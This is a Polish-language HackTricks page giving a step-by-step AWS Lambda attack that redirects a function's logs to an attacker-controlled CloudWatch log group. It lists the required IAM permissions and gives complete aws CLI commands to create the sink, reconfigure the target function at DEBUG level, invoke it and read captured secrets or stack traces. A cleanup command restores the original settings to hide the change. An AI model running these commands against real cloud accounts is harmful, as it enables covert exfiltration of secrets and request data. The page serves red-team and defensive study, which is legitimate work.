AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Nadużyj lambda:UpdateFunctionConfiguration — zaawansowanych ustawień logowania — aby przekierować logi funkcji do wybranej przez atakującego CloudWatch Logs log group. Działa to bez zmiany kodu ani roli wykonawczej (większość ról Lambda już zawiera logs:CreateLogGroup/CreateLogStream/PutLogEvents dzięki AWSLambdaBasicExecutionRole). Jeśli funkcja wypisuje sekrety/treści żądań lub ulega awarii generując stack trace, możesz je zebrać z nowej log group.

Wymagane uprawnienia

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (lub polegać na istniejących wyzwalaczach)
  • logs:CreateLogGroup (często nie jest wymagane, jeśli rola funkcji już je posiada)
  • logs:FilterLogEvents (do odczytu zdarzeń)

Kroki

  1. Utwórz sink log group
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Przekieruj logi docelowej funkcji
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Poczekaj, aż LastUpdateStatus stanie się Successful:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Wywołaj i odczytaj z odbiornika
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Wpływ

  • Potajemnie przekieruj wszystkie logi aplikacji/systemu do log group, którą kontrolujesz, omijając oczekiwanie, że logi trafiają tylko do /aws/lambda/<fn>.
  • Exfiltrate wrażliwe dane wypisane przez funkcję lub ujawnione w błędach.

Czyszczenie

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Notatki

  • Kontrole logowania są częścią LoggingConfig Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Domyślnie Lambda wysyła logi do /aws/lambda/<function>, ale możesz wskazać dowolną nazwę log group; Lambda (lub execution role) utworzy ją, jeśli będzie to dozwolone.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks